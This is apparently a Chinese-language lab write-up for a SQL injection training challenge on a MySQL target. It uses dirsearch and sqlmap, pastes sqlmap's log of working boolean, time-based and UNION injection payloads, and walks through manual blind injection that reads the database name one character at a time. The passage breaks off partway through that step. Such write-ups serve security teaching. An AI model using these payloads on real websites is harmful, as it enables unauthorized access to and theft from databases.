墨者靶场（SQL手工注入漏洞测试(MySQL数据库)）
工具
dirsearch
sqlmap
python dirsearch.py -u http://<IP>:<端口>/
在登录界面，没有账户和密码，也进不去，就在没啥收获的时候，直觉告诉我要打开F12开发者模式，这次信它，就在东点点西点点的时候，我发现了什么。
如果遇到扫描漏网之鱼的问题，可以尝试以下解决方案：使用不同或更全面的字典文件。使用其他扫描工具（如 gobuster、burp suite）进行交叉验证。检查网站的 JavaScript 和动态内容，看看是否有可能隐藏的目录。通过这些方法，你可以增加找到所有可能目录的机会。
拿出珍藏多年的SQLmap，这次终于不用羡慕别人了，这次我一定要亲自试试，主要是想知道到底有多好玩。
python sqlmap.py -u "http://<ip>/new_list.php?id=1"
点击查看代码
[*] starting @ 18:30:02 /2024-08-02/[18:30:03] [INFO] testing connection to the target URL
[18:30:03] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:30:03] [INFO] testing if the target URL content is stable
[18:30:03] [INFO] target URL content is stable
[18:30:03] [INFO] testing if GET parameter 'id' is dynamic
[18:30:03] [INFO] GET parameter 'id' appears to be dynamic
[18:30:03] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[18:30:03] [INFO] testing for SQL injection on GET parameter 'id'
[18:30:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:30:04] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="平台将于2018年12月31日00:00至2019年1月1日12:00（12小时）进行停机升级，升级期间系统将停止对内对外服务，禁止业务人员等所有用户进行系统操作，如仍在系统升级期间进行操作，所带来的影响后果自行负责，给您工作带来不便，敬请 谅解。")
[18:30:05] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[18:30:13] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[18:30:13] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[18:30:13] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[18:30:13] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[18:30:13] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[18:30:13] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[18:30:13] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[18:30:14] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[18:30:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:30:14] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:30:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:30:14] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:30:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[18:30:14] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[18:30:14] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:30:14] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[18:30:14] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[18:30:14] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[18:30:14] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[18:30:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[18:30:15] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[18:30:15] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[18:30:15] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[18:30:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[18:30:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[18:30:15] [INFO] testing 'Generic inline queries'
[18:30:15] [INFO] testing 'MySQL inline queries'
[18:30:15] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[18:30:15] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[18:30:15] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[18:30:15] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[18:30:15] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[18:30:16] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[18:30:16] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:30:26] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[18:30:26] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:30:26] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:30:26] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[18:30:26] [INFO] target URL appears to have 4 columns in query
[18:30:27] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 80 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1 AND 1806=1806Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1 AND (SELECT 3147 FROM (SELECT(SLEEP(5)))fQAQ)Type: UNION queryTitle: Generic UNION query (NULL) - 4 columnsPayload: id=-6099 UNION ALL SELECT NULL,CONCAT(0x716b787671,0x4b61567456714247536c57585a506f44425972596d5943756b63424751796d76565259524f706a51,0x7170767871),NULL,NULL-- -
---
[18:30:31] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[18:30:32] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 58 times
[18:30:32] [INFO] fetched data logged to text files under 'C:\Users\Anny\AppData\Local\sqlmap\output\124.70.64.48'[*] ending @ 18:30:32 /2024-08-02/看不懂，没关系，专业的事让专业的工具干，上 chatgpt ：
看起来你使用 sqlmap 对目标 URL 进行了 SQL 注入测试，并发现 id 参数存在 SQL 注入漏洞。以下是测试结果的总结：发现的注入点：基于布尔值的盲注入：通过载荷 id=1 AND 1806=1806 确认。基于时间的盲注入：通过载荷 id=1 AND (SELECT 3147 FROM (SELECT(SLEEP(5)))fQAQ) 确认。UNION 查询注入：通过载荷 id=-6099 UNION ALL SELECT NULL,CONCAT(0x716b787671,0x4b61567456714247536c57585a506f44425972596d5943756b63424751796d76565259524f706a51,0x7170767871),NULL,NULL-- - 确认。技术细节：数据库管理系统 (DBMS): MySQL >= 5.0.12Web 服务器: Nginx 1.10.3操作系统: Linux Ubuntu遇到的错误: 在测试过程中遇到了 58 次 HTTP 500 内部服务器错误。附加说明：测试期间目标 URL 返回了错误，这可能表示服务器端存在问题或限制。测试过程中获取的数据已被记录，供进一步分析使用。如果你需要接下来采取的具体行动或对测试结果有其他问题，请随时告诉我！我宣布，正式开始我们的SQL注入首注，let‘sgo ❗
一、判断 SQL 注入是否存在
• 先加单引号'、双引号"、单括号)、双括号))等看看是否报错，如果报错就可能存在 SQL 注入漏洞了。• 还有在 URL 后面加 and 1 = 1 、 and 1 = 2 看页面是否显示一样，显示不一样的话，肯定存在 SQL 注入漏洞了。• 还有就是Timing Attack测试，也就是时间盲注。有时候通过简单的条件语句比如 and 1=2 是无法看出异常的。• 在 MySQL 中，有一个Benchmark() 函数，它是用于测试性能的。Benchmark(count,expr) ，这个函数执行的结果，是将表达式 expr 执行 count 次 。
因此，利用benchmark函数，可以让同一个函数执行若干次，使得结果返回的时间比平时要长，通过时间长短的变化，可以判断注入语句是否执行成功。这是一种边信道攻击，这个技巧在盲注中被称为Timing Attack，也就是时间盲注。
易出现 SQL 注入的功能点： 凡是和数据库有交互的地方都容易出现 SQL 注入，SQL 注入经常出现在登陆页面、涉及获取 HTTP 头（user-agent / client-ip 等）的功能点及订单处理等地方。例如登陆页面，除常见的万能密码，post 数据注入外也有可能发生在 HTTP 头中的 client-ip 和 x-forward-for 等字段处。这些字段是用来记录登陆的 ip 的，有可能会被存储进数据库中从而与数据库发生交互导致 sql 注入。
http://<ip>/new_list.php?id=1' #报错
http://<ip>/new_list.php?id=1" #报错
http://<ip>/new_list.php?id=1 and 1=1
http://<ip>/new_list.php?id=1 and 1=2 #报错
二、判断数据库类型
当我们不知道是啥数据库的时候，如何分辨是哪个数据库呢❓
目前主流的数据库都有自己的特有表分别如下：
| 数据库 | 表名 |
|---|---|
| MySQL | information_schema.tables |
| Access | msysobjects |
| SQLServer | sysobjects |
通过这些特有表，我们就可以用如下的语句判断数据库。
哪个页面正常显示，就属于哪个数据库。
//判断是否是Mysql数据库
http://192.168.209.128:88/Less-5/?id=1' and exists(select * from information_schema.tables) #//对于MySQL数据库，information_schema 数据库中的表都是只读的，不能进行更新、删除和插入等操作，也不能加载触发器，因为它们实际只是一个视图，不是基本表，没有关联的文件。
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) #
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #'
三、 判断当前数据库名(以下方法不适用于 access 和 SQL Server 数据库)
3.1 判断当前数据库的长度，利用二分法
http://<ip>/new_list.php?id=1 and length(database())>5 --+ //正常显示
http://<ip>/new_list.php?id=1 and length(database())>10 --+ //正常显示
http://<ip>/new_list.php?id=1 and length(database())>20 --+ //正常显示
http://<ip>/new_list.php?id=1 and length(database())>25 --+ //不显示任何数据
http://<ip>/new_list.php?id=1 and length(database())>23 --+ //不显示任何数据
http://<ip>/new_list.php?id=1 and length(database())>22 --+ //正常显示
大于 22 正常显示，大于 23 不显示，说明大于 22 而不大于 23，
3.2 判断当前数据库的字符,和上面的方法一样，利用二分法依次判断
//判断数据库的第一个字符
http://<ip>/new_list.php?id=1 and ascii(substr(database(),1,1))>100 --+ # 正常回显
http://<ip>/new_list.php?id=1 and ascii(substr(database(),1,1))>110 --+ # 不显示任何数据
http://<ip>/new_list.php?id=1 and ascii(substr(database(),1,1))>105 --+ # 正常回显
http://<ip>/new_list.php?id=1 and ascii(substr(database(),1,1))>105 --+ # 正常回显
http://<ip>/new_list.php?id=1 and ascii(substr(database(),1,1))>110 --+ # 不显示任何数据
http://<ip>/new_list.php?id=1 and ascii(substr(database(),1,1))>107 --+ # 正常回显
http://<ip>/new_list.php?id=1 and ascii(substr(database(),1,1))>108 --+ # 正常回显
http://<ip>/new_list.php?id=1 and ascii(substr(database(),1,1))>109 --+ # 不显示任何数据
//判断数据库的第二个字符
http://<ip>/new_list.php?id=1 and ascii(substr(database(),2,1))>100 --+ # 正常回显
http://<ip>/new_list.php?id=1 and ascii(substr(database(),2,1))>110 --+ # 正常回显
http://<ip>/new_list.php?id=1 and ascii(substr(database(),2,1))>115 --+ # 不显示任何数据
http://<ip>/new_list.php?id=1 and ascii(substr(database(),2,1))>111 --+ # 不显示任何数据
http://<ip>/new_list.php?id=1 and ascii(substr(database(),2,1))>109 --+ # 正常回显
http://<ip>/new_list.php?id=1 and ascii(substr(database(),2,1))>110 --+ # 不显示任何数据
...........
https://mp.weixin.qq.com/s/qVjYhimggJZ-wWyLKDixZA
